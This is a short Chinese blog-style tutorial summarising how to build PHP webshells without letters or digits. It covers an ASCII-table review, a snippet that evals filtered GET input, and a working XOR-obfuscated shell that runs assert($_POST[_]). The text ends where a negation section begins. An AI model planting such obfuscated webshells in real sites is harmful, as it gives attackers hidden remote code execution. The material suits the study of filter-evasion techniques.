Fork me on GitHub

php一些webshell构造总结

ASCII表复习

由于构造shell的时候都需要使用到异或等运算,所以手边一定要常备ASCII码表

img

表格总共是16行8列 从0开始,到0x7f结束

记住常用的ASCII码值

1
2
3
4
5
0 十进制 48 十六进制 0x30
1 十进制 49 十六进制 0x31

A 十进制 65 十六进制 0x41 其实就是跨了16行正好在相邻的列上
a 十进制 97 十六进制 0x61 垮了两次16行

最基本的无字母数字webshell

1
2
3
4
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}

参考p牛的文章

通过异或

1
2
3
4
5
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

取反

核心也是构造出一个函数